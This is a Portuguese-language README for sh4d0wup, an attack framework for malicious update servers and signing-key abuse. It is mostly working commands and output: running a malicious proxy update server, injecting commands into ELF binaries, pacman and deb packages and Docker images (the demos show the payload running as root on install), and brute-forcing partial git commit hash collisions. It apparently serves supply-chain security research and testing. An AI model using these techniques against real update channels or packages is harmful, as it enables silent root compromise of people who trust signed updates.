
sh4d0wup v0.11.1
Abuso de chave de assinatura e framework de exploração de atualizações
sh4d0wup
% docker run -it --rm ghcr.io/kpcyrd/sh4d0wup:edge -h
Usage: sh4d0wup [OPTIONS] <COMMAND>
Commands:
bait Start a malicious update server
front Bind a http/https server but forward everything unmodified
infect High level tampering, inject additional commands into a package
tamper Low level tampering, patch a package database to add malicious packages, cause updates or influence dependency resolution
keygen Generate signing keys with the given parameters
sign Use signing keys to generate signatures
hsm Interact with hardware signing keys
build Compile an attack based on a plot
check Check if the plot can still execute correctly against the configured image
req Emulate a http request to test routing and selectors
completions Generate shell completions
help Print this message or the help of the given subcommand(s)
Options:
-v, --verbose... Increase logging output (can be used multiple times)
-q, --quiet... Reduce logging output (can be used multiple times)
-h, --help Print help information
-V, --version Print version information
👻 O que são atualizações sombra?
Você já se perguntou se a atualização que você baixou é a mesma que todo mundo recebe ou se você recebeu uma diferente, feita especialmente para você? Atualizações sombra são atualizações que oficialmente não existem, mas carregam assinaturas válidas e seriam aceitas pelos clientes como genuínas. Isso pode acontecer se a chave de assinatura for comprometida por hackers ou se um engenheiro de release com acesso legítimo se tornar desonesto.
sh4d0wup é um servidor de atualização http/https malicioso que atua como um proxy reverso na frente de um servidor legítimo e pode infectar + assinar vários formatos de artefato. Os ataques são configurados em plots que descrevem como o roteamento de requisições http funciona, como os artefatos são corrigidos/gerados, como devem ser assinados e com qual chave. Uma rota pode ter selectors para que corresponda apenas se, por exemplo, o user-agent corresponde a um padrão ou se o cliente está se conectando de um endereço IP específico. Para desenvolvimento e teste, chaves/certificados de assinatura simulados podem ser gerados e marcados como confiáveis.
🏗️ Compilando o executável sh4d0wup
Há um binário pré-compilado no repositório [extra] do Arch Linux. Para compilar o binário a partir do código fonte em um sistema baseado em Debian, use isto (testado com ubuntu 22.04):
apt-get install curl git build-essential clang pkg-config libssl-dev libzstd-dev libpcsclite-dev liblzma-dev
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh -s -- -y
source "$HOME/.cargo/env"
git clone https://github.com/kpcyrd/sh4d0wup
cd sh4d0wup
cargo build --release
sudo cp ./target/release/sh4d0wup /usr/bin
sh4d0wup --help
📦 Compilar um plot
Alguns plots são mais complexos de preparar do que outros; para evitar um longo tempo de inicialização devido a downloads e correção de artefatos, você pode compilar um plot com antecedência. Isso também permite criar assinaturas com antecedência.
sh4d0wup build ./contrib/plot-hello-world.yaml -o ./plot.tar.zst
🦝 Executar um plot
Isso cria um servidor de atualização http malicioso de acordo com o plot. Isso também aceita arquivos yaml, mas eles podem demorar mais para iniciar.
sh4d0wup bait -B 0.0.0.0:1337 ./plot.tar.zst
Você pode encontrar exemplos aqui:
contrib/plot-archlinux.yamlcontrib/plot-debian.yamlcontrib/plot-rustup.yamlcontrib/plot-curl-sh.yaml
🪄 Infectar um artefato
sh4d0wup infect elf
% sh4d0wup infect elf /usr/bin/sh4d0wup -c id a.out
[2022-12-19T23:50:52Z INFO sh4d0wup::infect::elf] Spawning C compiler...
[2022-12-19T23:50:52Z INFO sh4d0wup::infect::elf] Generating source code...
[2022-12-19T23:50:57Z INFO sh4d0wup::infect::elf] Waiting for compile to finish...
[2022-12-19T23:51:01Z INFO sh4d0wup::infect::elf] Successfully generated binary
% ./a.out help
uid=1000(user) gid=1000(user) groups=1000(user),212(rebuilderd),973(docker),998(wheel)
Usage: a.out [OPTIONS] <COMMAND>
Commands:
bait Start a malicious update server
infect High level tampering, inject additional commands into a package
tamper Low level tampering, patch a package database to add malicious packages, cause updates or influence dependency resolution
keygen Generate signing keys with the given parameters
sign Use signing keys to generate signatures
hsm Interact with hardware signing keys
build Compile an attack based on a plot
check Check if the plot can still execute correctly against the configured image
completions Generate shell completions
help Print this message or the help of the given subcommand(s)
Options:
-v, --verbose... Turn debugging information on
-h, --help Print help information
sh4d0wup infect pacman
% sh4d0wup infect pacman --set 'pkgver=0.2.0-2' /var/cache/pacman/pkg/sh4d0wup-0.2.0-1-x86_64.pkg.tar.zst -c id sh4d0wup-0.2.0-2-x86_64.pkg.tar.zst
[2022-12-09T16:08:11Z INFO sh4d0wup::infect::pacman] This package has no install hook, adding one from scratch...
% sudo pacman -U sh4d0wup-0.2.0-2-x86_64.pkg.tar.zst
loading packages...
resolving dependencies...
looking for conflicting packages...
Packages (1) sh4d0wup-0.2.0-2
Total Installed Size: 13.36 MiB
Net Upgrade Size: 0.00 MiB
:: Proceed with installation? [Y/n]
(1/1) checking keys in keyring [#######################################] 100%
(1/1) checking package integrity [#######################################] 100%
(1/1) loading package files [#######################################] 100%
(1/1) checking for file conflicts [#######################################] 100%
(1/1) checking available disk space [#######################################] 100%
:: Processing package changes...
(1/1) upgrading sh4d0wup [#######################################] 100%
uid=0(root) gid=0(root) groups=0(root)
:: Running post-transaction hooks...
(1/2) Arming ConditionNeedsUpdate...
(2/2) Notifying arch-audit-gtk
sh4d0wup infect deb
% sh4d0wup infect deb /var/cache/apt/archives/apt_2.2.4_amd64.deb -c id ./apt_2.2.4-1_amd64.deb --set Version=2.2.4-1
[2022-12-09T16:28:02Z INFO sh4d0wup::infect::deb] Patching "control.tar.xz"
% sudo apt install ./apt_2.2.4-1_amd64.deb
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
Note, selecting 'apt' instead of './apt_2.2.4-1_amd64.deb'
Suggested packages:
apt-doc aptitude | synaptic | wajig dpkg-dev gnupg | gnupg2 | gnupg1 powermgmt-base
Recommended packages:
ca-certificates
The following packages will be upgraded:
apt
1 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.
Need to get 0 B/1491 kB of archives.
After this operation, 0 B of additional disk space will be used.
Get:1 /apt_2.2.4-1_amd64.deb apt amd64 2.2.4-1 [1491 kB]
debconf: delaying package configuration, since apt-utils is not installed
(Reading database ... 6661 files and directories currently installed.)
Preparing to unpack /apt_2.2.4-1_amd64.deb ...
Unpacking apt (2.2.4-1) over (2.2.4) ...
Setting up apt (2.2.4-1) ...
uid=0(root) gid=0(root) groups=0(root)
Processing triggers for libc-bin (2.31-13+deb11u5) ...
sh4d0wup infect oci
% docker pull alpine:edge
% docker save alpine:edge > alpine-edge.tar
% sh4d0wup infect oci alpine-edge.tar infected.tar -c id -t infected:latest
[2022-12-12T00:31:17Z INFO sh4d0wup::infect::oci] Original image is referencing config "121d0da757518198deeb7d1df20aaae549834f8bc77195bbf5be1900c0144cff.json": LayerConfig { config: Some(Config { user: Some(""), exposed_ports: None, env: Some(["PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"]), entrypoint: None, cmd: Some(["/bin/sh"]), volumes: None, working_dir: Some(""), labels: None, stop_signal: None }), rootfs: Some(RootFs { type: "layers", diff_ids: ["sha256:2f7048230bc73ff091490aa5764f9c160d1a4efe04935da731a22e8d5fcccfcc"] }), extra: {"container_config": Object {"AttachStderr": Bool(false), "AttachStdin": Bool(false), "AttachStdout": Bool(false), "Cmd": Array [String("/bin/sh"), String("-c"), String("#(nop) "), String("CMD [\"/bin/sh\"]")], "Domainname": String(""), "Entrypoint": Null, "Env": Array [String("PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin")], "Hostname": String("457781b778a4"), "Image": String("sha256:28d4c3ce9341a318d475e64365e47a34d5b9ba6c670bed35ce90b2402296ead6"), "Labels": Object {}, "OnBuild": Null, "OpenStdin": Bool(false), "StdinOnce": Bool(false), "Tty": Bool(false), "User": String(""), "Volumes": Null, "WorkingDir": String("")}, "architecture": String("amd64"), "created": String("2022-11-10T20:19:29.043621251Z"), "history": Array [Object {"created": String("2022-11-10T20:19:28.834390785Z"), "created_by": String("/bin/sh -c #(nop) ADD file:51c4407dc777648e8ebc8e124b05feb1807699ade513b6006a9a409f6b0f6f51 in / ")}, Object {"created": String("2022-11-10T20:19:29.043621251Z"), "created_by": String("/bin/sh -c #(nop) CMD [\"/bin/sh\"]"), "empty_layer": Bool(true)}], "os": String("linux"), "docker_version": String("20.10.12"), "container": String("457781b778a449c9eac455ca1a18300a4041cb2b0d2d3f979460d19d7632ebf7")} }
[2022-12-12T00:31:17Z INFO sh4d0wup::infect::oci] Creating new layer in image: "patched"
[2022-12-12T00:31:17Z INFO sh4d0wup::infect::oci] Generating filesystem layer for payload: "id"
[2022-12-12T00:31:17Z INFO sh4d0wup::infect::oci] Updating tags of image to ["infected:latest"]
[2022-12-12T00:31:17Z INFO sh4d0wup::infect::oci] Writing modified manifest...
% docker load -i infected.tar
Loaded image: infected:latest
% docker run -it infected echo hello world
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
hello world
Bruteforce de colisões parciais de commit git
Aqui está um one-liner curto sobre como pegar o último commit de um repositório git, enviá-lo para um computador remoto que tenha o sh4d0wup instalado para ajustá-lo até que o id do commit comece com o --collision-prefix fornecido e então inserir o novo commit de volta no repositório em seu computador local:
% git cat-file commit HEAD | ssh lots-o-time nice sh4d0wup tamper git-commit --stdin --collision-prefix 7777 --strip-header | git hash-object -w -t commit --stdin
Isso pode levar algum tempo; eventualmente, ele mostra um id de commit que você pode usar para criar um novo branch:
git show 777754fde8...
git branch some-name 777754fde8...